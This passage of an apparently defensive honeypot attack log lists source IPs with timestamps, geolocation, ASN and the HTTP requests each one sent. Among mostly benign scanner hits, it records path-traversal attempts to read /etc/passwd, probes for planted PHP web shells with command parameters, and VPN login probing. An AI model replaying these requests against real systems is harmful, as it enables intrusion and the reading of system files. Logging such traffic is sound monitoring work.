      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "47.77.234.156": {
      "attack_count": 2,
      "first_seen": "2026-03-03T04:46:13.576Z",
      "last_seen": "2026-03-03T04:46:16.580Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "54.88.251.164": {
      "attack_count": 2,
      "first_seen": "2026-03-07T00:55:02.862Z",
      "last_seen": "2026-03-07T00:55:05.863Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "65.49.1.35": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:47:35.079Z",
      "last_seen": "2026-03-10T09:47:39.936Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.82": {
      "attack_count": 2,
      "first_seen": "2026-03-16T02:46:07.870Z",
      "last_seen": "2026-03-16T02:46:27.859Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "66.132.186.201": {
      "attack_count": 2,
      "first_seen": "2026-03-29T23:47:07.764Z",
      "last_seen": "2026-03-29T23:47:40.480Z",
      "ports": [],
      "event_types": [
        "\"GET /version HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "74.82.47.45": {
      "attack_count": 2,
      "first_seen": "2026-03-08T03:02:50.477Z",
      "last_seen": "2026-03-17T07:46:12.864Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.110": {
      "attack_count": 2,
      "first_seen": "2026-03-12T12:55:18.291Z",
      "last_seen": "2026-03-26T04:16:58.585Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "95.215.0.144": {
      "attack_count": 2,
      "first_seen": "2026-03-05T02:38:31.039Z",
      "last_seen": "2026-03-05T02:38:31.322Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd."
    },
    "1.83.125.6": {
      "attack_count": 1,
      "first_seen": "2026-03-02T09:34:06.600Z",
      "last_seen": "2026-03-02T09:34:06.600Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "123.160.223.72": {
      "attack_count": 1,
      "first_seen": "2026-03-10T05:52:01.995Z",
      "last_seen": "2026-03-10T05:52:01.995Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "13.221.92.241": {
      "attack_count": 1,
      "first_seen": "2026-03-06T00:56:32.130Z",
      "last_seen": "2026-03-06T00:56:32.130Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "138.226.237.116": {
      "attack_count": 1,
      "first_seen": "2026-03-11T10:31:23.654Z",
      "last_seen": "2026-03-11T10:31:23.654Z",
      "ports": [],
      "event_types": [
        "\"GET /remote/login?lang= HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Belize",
      "country_code": "BZ",
      "city": "Belize City",
      "asn": 205775,
      "as_org": "Neon Core Network LLC"
    },
    "185.220.101.171": {
      "attack_count": 1,
      "first_seen": "2026-03-08T20:55:07.026Z",
      "last_seen": "2026-03-08T20:55:07.026Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/index.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Sch\u00f6nwalde",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "185.93.89.174": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:21:53.485Z",
      "last_seen": "2026-03-17T08:21:53.485Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD"
    },
    "195.184.76.68": {
      "attack_count": 1,
      "first_seen": "2026-03-22T12:47:13.744Z",
      "last_seen": "2026-03-22T12:47:13.744Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "216.162.44.18": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:19:25.098Z",
      "last_seen": "2026-03-17T08:19:25.098Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211486,
      "as_org": "Alferov Aleksey Aleksandrovich"
    },
    "216.218.206.110": {
      "attack_count": 1,
      "first_seen": "2026-03-12T05:05:01.304Z",
      "last_seen": "2026-03-12T05:05:01.304Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "220.197.78.175": {
      "attack_count": 1,
      "first_seen": "2026-03-02T09:34:02.862Z",
      "last_seen": "2026-03-02T09:34:02.862Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Guiyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "3.80.92.191": {
      "attack_count": 1,
      "first_seen": "2026-03-30T00:58:01.510Z",
      "last_seen": "2026-03-30T00:58:01.510Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "3.82.198.92": {
      "attack_count": 1,
      "first_seen": "2026-03-21T00:57:42.815Z",
      "last_seen": "2026-03-21T00:57:42.815Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "3.89.121.148": {
      "attack_count": 1,
      "first_seen": "2026-03-10T00:52:03.896Z",
      "last_seen": "2026-03-10T00:52:03.896Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.131.155.111": {
      "attack_count": 1,
      "first_seen": "2026-03-20T04:30:21.741Z",
      "last_seen": "2026-03-20T04:30:21.741Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited"
    },
    "5.187.35.26": {
      "attack_count": 1,
      "first_seen": "2026-03-28T15:33:32.595Z",
      "last_seen": "2026-03-28T15:33:32.595Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "52.207.244.78": {
      "attack_count": 1,
      "first_seen": "2026-03-05T00:49:44.087Z",
      "last_seen": "2026-03-05T00:49:44.087Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.157.236.122": {
      "attack_count": 1,
      "first_seen": "2026-03-07T00:55:23.033Z",
      "last_seen": "2026-03-07T00:55:23.033Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "62.60.131.72": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:21:56.008Z",
      "last_seen": "2026-03-17T08:21:56.008Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "64.62.156.140": {
      "attack_count": 1,
      "first_seen": "2026-03-31T10:15:22.080Z",
      "last_seen": "2026-03-31T10:15:22.080Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.196": {
      "attack_count": 1,
      "first_seen": "2026-03-07T03:06:53.527Z",
      "last_seen": "2026-03-07T03:06:53.527Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.226": {
      "attack_count": 1,
      "first_seen": "2026-03-22T07:39:53.508Z",
      "last_seen": "2026-03-22T07:39:53.508Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.44": {
      "attack_count": 1,
      "first_seen": "2026-03-24T07:42:06.129Z",
      "last_seen": "2026-03-24T07:42:06.129Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.47": {
      "attack_count": 1,
      "first_seen": "2026-03-19T10:03:38.667Z",
      "last_seen": "2026-03-19T10:03:38.667Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "68.220.58.151": {
      "attack_count": 1,
      "first_seen": "2026-03-30T10:16:51.746Z",
      "last_seen": "2026-03-30T10:16:51.746Z",
      "ports": [],
      "event_types": [
        "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "74.82.47.37": {
      "attack_count": 1,
      "first_seen": "2026-03-17T07:46:17.280Z",
      "last_seen": "2026-03-17T07:46:17.280Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "84.32.70.209": {
      "attack_count": 1,
      "first_seen": "2026-03-06T15:48:08.125Z",
      "last_seen": "2026-03-06T15:48:08.125Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204770,
      "as_org": "UAB Cherry Servers"
    },
    "87.236.176.200": {
      "attack_count": 1,
      "first_seen": "2026-03-26T18:30:45.947Z",
      "last_seen": "2026-03-26T18:30:45.947Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.220": {
      "attack_count": 1,
      "first_seen": "2026-03-12T12:57:16.190Z",
      "last_seen": "2026-03-12T12:57:16.190Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.13": {
      "attack_count": 1,
      "first_seen": "2026-03-15T21:28:12.152Z",
      "last_seen": "2026-03-15T21:28:12.152Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.189": {
      "attack_count": 1,
      "first_seen": "2026-03-08T15:54:11.377Z",
      "last_seen": "2026-03-08T15:54:11.377Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.192": {
      "attack_count": 1,
      "first_seen": "2026-03-05T07:09:51.757Z",
      "last_seen": "2026-03-05T07:09:51.757Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.75": {
      "attack_count": 1,
      "first_seen": "2026-03-19T04:15:27.530Z",
      "last_seen": "2026-03-19T04:15:27.530Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "136.144.35.169": {
      "attack_count": 208,
      "first_seen": "2026-03-04T02:30:33.578Z",
      "last_seen": "2026-03-06T17:48:26.996Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Trenton",
      "asn": 396356,
      "as_org": "Latitude.sh"
    },
    "65.49.1.38": {
      "attack_count": 27,
      "first_seen": "2026-03-19T09:59:09.915Z",
      "last_seen": "2026-03-24T07:43:42.361Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "81.29.142.100": {
      "attack_count": 18,
      "first_seen": "2026-03-05T00:05:20.221Z",
      "last_seen": "2026-03-26T22:02:39.922Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies"
    },
    "185.220.100.246": {
      "attack_count": 13,
      "first_seen": "2026-03-08T20:50:49.204Z",
      "last_seen": "2026-03-08T20:55:39.031Z",
      "ports": [],
      "event_types": [
        "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
        "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
        "\"GET /admin/?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /digium_phones/ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
        "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/Hima.php?23 HTTP/1.1\" 404 -",
        "\"GET /recordings/Hima_s.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/azoofo.php?p=evil@access&c=cat+azoofo.php&xx HTTP/1.1\" 404 -",
        "\"GET /recordings/graph.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /recordings/graph.php?module=upload&x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/AboSala7.php?asd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "173.237.206.68": {
      "attack_count": 10,
      "first_seen": "2026-03-08T20:54:00.377Z",
      "last_seen": "2026-03-08T21:03:01.761Z",
      "ports": [],
      "event_types": [
        "\"GET /main.php.1?1e HTTP/1.1\" 404 -",
        "\"GET /main.php.1?1exx HTTP/1.1\" 404 -",
        "\"GET /main.php.2?1xxe HTTP/1.1\" 404 -",
        "\"GET /main.php.2?2qwe HTTP/1.1\" 404 -",
        "\"GET /panel/webadmin.php?zx HTTP/1.1\" 404 -",
        "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /welcome/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /widgets/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /xmlservices/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /yii/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26527,
      "as_org": "LightWave Networks"
    },
    "5.252.189.12": {
      "attack_count": 8,
      "first_seen": "2026-03-11T16:53:22.355Z",
      "last_seen": "2026-03-11T16:53:37.948Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "162.142.125.34": {
      "attack_count": 6,
      "first_seen": "2026-03-16T02:47:11.283Z",
      "last_seen": "2026-03-16T02:49:16.833Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "162.142.125.46": {
      "attack_count": 6,
      "first_seen": "2026-03-02T17:24:01.921Z",
      "last_seen": "2026-03-02T17:24:19.985Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "199.45.155.91": {
      "attack_count": 6,
      "first_seen": "2026-03-21T08:10:09.210Z",
      "last_seen": "2026-03-21T08:10:28.375Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc."
    },
    "206.168.34.197": {
      "attack_count": 6,
      "first_seen": "2026-03-02T05:59:12.726Z",
      "last_seen": "2026-03-02T06:00:39.849Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "45.82.78.110": {
      "attack_count": 6,
      "first_seen": "2026-03-18T12:09:27.407Z",
      "last_seen": "2026-03-18T12:09:31.722Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited"
    },
    "45.9.148.50": {
      "attack_count": 6,
      "first_seen": "2026-03-08T20:51:56.401Z",
      "last_seen": "2026-03-08T20:52:05.608Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/tika.php?ery HTTP/1.1\" 404 -",
        "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
        "\"GET /recordings/.tika.php?mnas HTTP/1.1\" 404 -",
        "\"GET /var/tika.php?bbt HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xml.php?jhf HTTP/1.1\" 404 -",
        "\"GET /xml.php?vcd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49447,
      "as_org": "Nice IT Services Group Inc."
    },
    "66.132.172.131": {
      "attack_count": 6,
      "first_seen": "2026-03-20T12:44:15.418Z",
      "last_seen": "2026-03-20T12:44:29.607Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.172.45": {
      "attack_count": 6,
      "first_seen": "2026-03-29T23:47:48.198Z",
      "last_seen": "2026-03-29T23:48:05.625Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "104.192.2.154": {
      "attack_count": 5,
      "first_seen": "2026-03-02T03:54:14.726Z",
      "last_seen": "2026-03-02T03:54:16.470Z",
      "ports": [],
      "event_types": [
        "\"GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -",
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
        "\"GET /..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1\" 404 -",
        "\"GET //etc/passwd HTTP/1.1\" 404 -",
        "\"GET /etc/passwd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 27176,
      "as_org": "DataWagon LLC"
    },
    "141.98.80.111": {
      "attack_count": 5,
      "first_seen": "2026-03-02T03:57:26.341Z",
      "last_seen": "2026-03-02T03:57:45.273Z",
      "ports": [],
      "event_types": [
        "\"CONNECT /CSCOSSLC/tunnel HTTP/1.1\" - -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /CSCOSSLC/tunnel HTTP/1.1\" 404 -",
        "\"POST /global-protect/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows HTTP/1.1\" 200 -",
        "\"POST /ssl-vpn/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Panama",
      "country_code": "PA",
      "city": null,
      "asn": 43350,
      "as_org": "NForce Entertainment B.V."
    },
    "185.220.101.56": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:49:42.876Z",
      "last_seen": "2026-03-08T20:49:50.674Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "206.168.34.45": {
      "attack_count": 5,
      "first_seen": "2026-03-15T01:52:31.839Z",
      "last_seen": "2026-03-15T01:54:37.094Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "45.84.107.54": {
      "attack_count": 5,
      "first_seen": "2026-03-08T21:02:13.395Z",
      "last_seen": "2026-03-08T21:02:21.267Z",
      "ports": [],
      "event_types": [
        "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "184.105.139.79": {
      "attack_count": 4,
      "first_seen": "2026-03-04T09:46:39.230Z",
      "last_seen": "2026-03-27T05:14:02.640Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
